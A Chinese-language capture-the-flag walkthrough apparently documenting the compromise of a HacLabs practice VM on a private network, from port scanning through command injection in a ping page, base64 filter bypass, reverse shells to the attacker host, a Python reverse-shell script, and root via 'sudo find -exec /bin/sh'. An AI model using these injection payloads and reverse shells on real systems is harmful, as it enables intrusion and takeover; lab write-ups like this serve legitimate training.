实战打靶集锦-005-HL

**写在前面：**记录一次曲折的打靶经历。

---

1. 主机发现

目前只知道目标靶机在56.xx网段，通过如下的命令，看看这个网段上在线的主机。

$ nmap -sP 192.168.56.0/24

锁定靶机IP地址为56.108。

2. 端口扫描

对目标靶机进行全端口扫描。

$ sudo nmap -p- 192.168.56.108

这个靶机有点意思，只开了一个80端口。

3. 服务枚举

按照惯例进行一下服务枚举。

$ sudo nmap -p80 -A -sV -sT 192.168.56.108

从上述信息来看，目标靶机80端口上运行的是Apache的2.4.29版本；并且通过-A参数顺带得知了主机的操作系统应该是Ubuntu，内核版本可能是4.15~5.6之间。

4. 服务探查

就一个web服务，直接勘探一下吧。

4.1 浏览器访问

通过浏览器访问目标靶机的80端口看看。

页面有些诡异，看不出啥名堂，随便输入一个内容（test_things字符串）提交一下看看。

还是看不出啥，但是感觉跟ping也没啥关系啊；直接输入1000个字符A试试看。

还是没啥异样，暂时到这里，然后做一下目录枚举。

4.2 目录枚举

$ dirsearch -u http://192.168.56.108

一如既往地存在admin和login。
再用nikto试一下。

$ nikto -h http://192.168.56.108

没有太多干货，只是知道了没有CGI目录。

4.3 探查admin

既然admin目录返回的是200，那就先进去探查一下吧。

没啥实际内容，就是HacLabs的三个静态图片，有点坑。

4.4 探查index

这还是我们第一次用浏览器访问80端口时看到的内容，直接跳过吧。

4.5 探查login

感觉/index.php/login和/index.php页面是一样的，没有什么区别，还是输入内容提交一下试试看吧，省的遗漏点啥。

确实没啥，就算我输入10000个字符也是一样的。

5 公共EXP搜索

到目前为止一无所获，直接搜索一下对应版本的Apache漏洞试试看。

在得到php的具体版本之前，貌似只有一个EXP相对靠谱一些。既然只开放了一个80端口，那就先把这个EXP弄下来看看再说吧。
说明：这种漏洞是不是只能用来提权，不能用于突破边界？个人不是很理解。

看了一下代码前面的注释，这个EXP基本上没法用。感觉抓瞎了，无所适从。

6. 再次目录枚举

有没有可能还有没有枚举干净的目录内容呢，使用dirb，挂载big.txt字典试试看。

$ dirb http://192.168.56.108 /usr/share/wordlists/dirb/big.txt
$ dirb http://192.168.56.108 /usr/share/wordlists/dirb/big.txt -X .php
$ dirb http://192.168.56.108 /usr/share/wordlists/dirb/big.txt -X .html
$ dirb http://192.168.56.108 /usr/share/wordlists/dirb/big.txt -X .htm

又扫描出来一个之前没见过的页面 superadmin.php，用浏览器进去看看。

6.1 探查superadmin.php

有意思，貌似是一个测试ping的页面，直接输入目标靶机的IP地址，并开启开发者工具看一下。

可以正常ping，但是POST请求和响应都是空空如也。不过，既然这里可以提交IP地址进行ping，是不是也可以执行其它的指令呢？分别在IP地址后面添加|、||、&、&&然后再加上其它shell（这里是id）试试看，主要是本人shell还不够扎实，但是知道这几个玩意儿可以拼接命令执行。
当用“|”时，不管IP地址通不通都会执行后面的内容。

当用“||”时，若IP不通，则会执行“||”之后的内容；如果IP通，则不会执行“||”之后的内容。

当用&或者&&时，不管IP通不通都不会执行后面的内容。所以最终的规则可以直接用IP地址加“|”，然后后面跟上要执行的指令。

192.168.56.108 | whoami

192.168.56.108 | uname -a

从这里可以看出，靶机版本是ubuntu的18.04.1，内核版本是5.0.0-23。这里简单试了一下，有些命令是没法执行的，比如pwd。

6.2 查看页面源代码

试来试去没啥意思，直接看看页面源代码。在superadmin.php页面上右键菜单中的“View Page Source”，查看页面源代码。

看不见实质的内容，可能是做了处理，直接cat一下看看。

192.168.56.108 | cat superadmin.php

页面变得有些奇怪了，这个时候再右键看看页面源代码。

可以看出，有些字符是被过滤掉的，这也解释了前面ls、pwd、nc没法执行的原因。

6.3 base64绕过

有没有可能通过编码绕过这些检查呢？自然而然我们想到了base64，我们先用“ls”试试看。

接下来，我们用base64编码后的字符串“bHMK”代替原来的“ls”。

192.168.56.108 | echo bHMK | base64 -d

感觉貌似执行了，但是挺奇怪的，没有列出结果，也可能执行成功了，先假定执行成功吧。

6.4 构建反弹shell

用下面的命令构建反弹shell的base64编码。

$ echo 'bash -i 2>&1|nc 192.168.56.107 5555' | base64

在kali主机上开启监听。

然后在页面输入下面的代码，看是否能够成功建立反弹shell。

192.168.56.108 | echo YmFzaCAtaSAyPiYxfG5jIDE5Mi4xNjguNTYuMTA3IDU1NTUK | base64 -d

好奇怪，命令执行了，但是没有成功建立反弹shell。会不会是在“|”的两边有空格的原因？把所有“|”两侧的空格都去掉，改成如下的样子试试看。

192.168.56.108|echo YmFzaCAtaSAyPiYxfG5jIDE5Mi4xNjguNTYuMTA3IDU1NTUK|base64 -d|bash

这次查看监听页面，有反应了。

原来是空格在搞鬼，虽然我不知道其所以然，但是我知道我的shell确实不扎实。

7. 突破边界

仔细查看，虽然在5555端口上的监听有反应，但是不正常，自动携带了一个exit命令。并且后面再输入其它指令的时候，都没有反映。

这显然不是我们期望的结果，问题应该还是出在我构建的反弹shell上，重新构建一下。

$ echo 'bash -i >& /dev/tcp/192.168.56.107/5555 0>&1' | base64

$ echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwNy81NTU1IDA+JjEK | base64 -d

重新开启监听。

重新在superadmin页面提交如下的内容。

|echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwNy81NTU1IDA+JjEK | base64 -d | bash

再回来检查监听页面。

这次貌似反弹的shell是成功的，试一下看看。

确认可用。

8 提权

既然已经突破边界，接下来就是提权了。

8.1 探查/etc/passwd文件

从这里可以看出，相对比较正常的两个用户是haclabs和yash，说不定我们后面提权时需要借用。
接下来尝试向/etc/passwd中写入一个账号。先生成密码。

通过echo尝试写入。

$ echo "testuser:$1$siK3z8CH$hDiLkGwhwfEg.gRjK5Rb4.:0:0:root:/root:/bin/bash" >> /etc/passwd

写入失败，没权限。

8.2 枚举操作系统信息

挺好玩儿的，两个命令查询出来的结果有些差异，先不理会这一块，再看一下操作系统位数。

64位的。

8.3 枚举可执行文件

用下面的命令，搜索一下root用户所有的，其它用户可读可写的可执行文件。

$ find / -type f -user root -perm -o=w 2>/dev/null

并没有发现我们感兴趣的内容，然后搜索一下带有SUID标记的二进制文件。

$ find / -perm -u=s -type f 2>/dev/null

也没有实际可用的内容，直接用sudo -l查看一下试试。

嗯，也没有权限。

8.4 枚举定时任务

通过下面的命令枚举一下系统上的定时任务信息。

$ cat /etc/crontab

没有可以利用的定时任务。

8.5 公共EXP搜索

搜索一下对应版本的操作系统和内核，看看有没有合适的提权漏洞可以直接利用。


Ubuntu的18.04有一个提权漏洞，linux内核上也有两个提权漏洞跟我们的版本匹配，逐个试一下。

8.5.1 EXP 46978

先打开代码看一下，整体上比较清晰，尤其是注释写的很完善（其它我也看不懂）。

一步一步执行，先在kali上下载build-alpine。

$ wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine

然后在kali上切换到root进行编译。

$ su root
# bash build-alpine

经过几分钟之后，build结束，如上所示，忽略掉相关的warning信息。
退出root用户（要养成好习惯，及时退出root用户），在当前目录建立http服务。

$ python3 -m http.server 80

从靶机上下载我们build好的文件以及EXP脚本。

直接查一下当前用户可写的目录。

$ find / -writable -type d 2>/dev/null

换到/tmp目录再试一下。

$ wget http://192.168.56.107/46978.sh
$ wget http://192.168.56.107/alpine-v3.17-x86_64-20230206_2150.tar.gz

下载成功了，接下来通过如下命令运行一下漏洞利用shell。

$ sh 46978.sh -f alpine-v3.17-x86_64-20230206_2150.tar.gz

额，报错了，看看脚本第13行是啥。

感觉应该还是shell问题导致的，改成sh执行。

还是报错了，缺少lxc，先放一边。

8.5.2 EXP 50135

先打开代码看一下。

写的还算比较明白，直接上手编译。

$ gcc -m32 -static -o 50135 50135.c

错误较多，暂时放弃。

8.5.3 EXP 47163

先打开代码看一下。

写的很清楚，直接上手编译。

$ gcc -s 47163.c -o 47163

编译没报错，然后上传到目标靶机运行一下。

还是编译问题，目前来看解决的唯一办法是用跟目标靶机相同的版本或者相近的版本编译。该EXP的代码注释行中写的比较明确，作者使用的是linux mint的19.2版本，下载linux mint的19.2版本64位安装到VMware试一下，过程不再赘述。

8.5.4 在linux mint下编译

8.5.4.1 EXP 46978

在19.2版本的linux mint下，采用同样的方式build。

$ wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine

然后在mint上切换到root进行编译。

$ su root
# bash build-alpine

所有正常执行，接下来上传到目标靶机，跟之前一样执行一下，不再赘述。

还是失败了，缺少lxc，跟之前的错误一样，只能放弃。

8.5.4.2 EXP 50135

在19.2版本的linux mint下，采用同样的方式编译。

还是报同样的错。

8.5.4.3 EXP 47163

在19.2版本的linux mint下，采用同样的方式编译。

还不如在kali上效果好，直接编译失败。

8.6 探查其它用户

当所有的EXP都没有利用成功的时候，回顾我们前面的过程，我们还有可能利用的是前面/etc/passwd中的两个用户haclabs和yash。接下来我们逐个探查一下这两个用户。

8.6.1 haclabs用户

8.6.1.1 探查home目录

通过下面的命令，先看看haclabs的home目录下有些什么内容。

$ ls -lah /home/haclabs

看名字还挺有意思的，逐个进去看一下，没有发现什么有价值的内容。

8.6.1.2 探查haclabs可读可写的目录

通过下面的命令，先看看haclabs可读可写的隐藏文件

$ find / -type f -user haclabs -perm -o=w 2>/dev/null

竟然查出来是空的，暂时放一边。

8.6.2 yash用户

8.6.2.1 探查home目录

用同样的方法，看看yash的home目录下有些什么内容。

$ ls -lah /home/yash

这个目录下也有些文件，逐个进去看看，终于在最后的flag1.txt文件中发现了一些端倪。

我去，把其它用户的密码放到一个隐藏文件中，这非常符合靶机的尿性啊，就认定它了。

8.6.2.2 查找隐藏文件

通过下面的命令查找一下yash用户可以读写的隐藏文件。

$ find / -type f -name ".*" -user yash 2>/dev/null

这个.passwd文件挺有意思啊，进去看看里面有些啥。

切换到haclabs用户。

貌似终端还是有些问题，上网搜索一下，可以用如下的办法进行终端优化。

$ python3 -c 'import pty;pty.spawn("/bin/bash")'

8.6.2.3 突破用户边界

再次尝试切换到haclabs。

这次成功了，简单检查一下。

这应该是正常的shell。

8.7 再次探查haclabs用户

既然突破到了haclabs用户，这次直接查找带有SUID标记的二进制文件。

$ find / -perm -u=s -type f 2>/dev/null

貌似可以直接运行sudo命令，查了一下可以使用nc命令，直接用sudo命令构建反弹shell试试看。

$ sudo nc 192.168.56.107 8888

额，失败了，不允许以sudo的方式运行nc。再用python构建反弹试试看。
通过echo命令将如下的代码写到python脚本中。

import os, subprocess, socket
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.56.107',8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/bash','-i'])

最终效果如下。

在kali上开启8888端口的监听，sudo运行一下写好的python脚本试试看。

$ sudo python3 revers.py

哈哈，碰壁了，同样的问题。再回过头来检查一下带有SUID标记的查询结果，里面有个“/usr/bin/passwd”，尝试用这个修改一下root用户的passwd试试看。

看来这条路走不通，貌似在该用户下面没有运行sudo -l查看sudo权限，运行一下试试看。

额，貌似是说/usr/bin/find可以直接不用密码运行？但是find命令咋提权啊！问问度娘，find还真的可以用于提权，直接上命令。

$ sudo find aaaa -exec “/bin/sh” \;

大概的意思是，如果能够找到aaaa，则通过-exec执行/bin/sh命令，最后的;是要执行的命令的结束符？所以我们最终的提权命令如下。

$ sudo find /usr/bin/find -exec /bin/sh \;

说明：因为/usr/bin/find是find命令本身的路径，所以一定是存在的，接下来直接执行/bin/sh，运行结果如下。

命令提示符变成了#，看来是提权成功了。

9 获取flag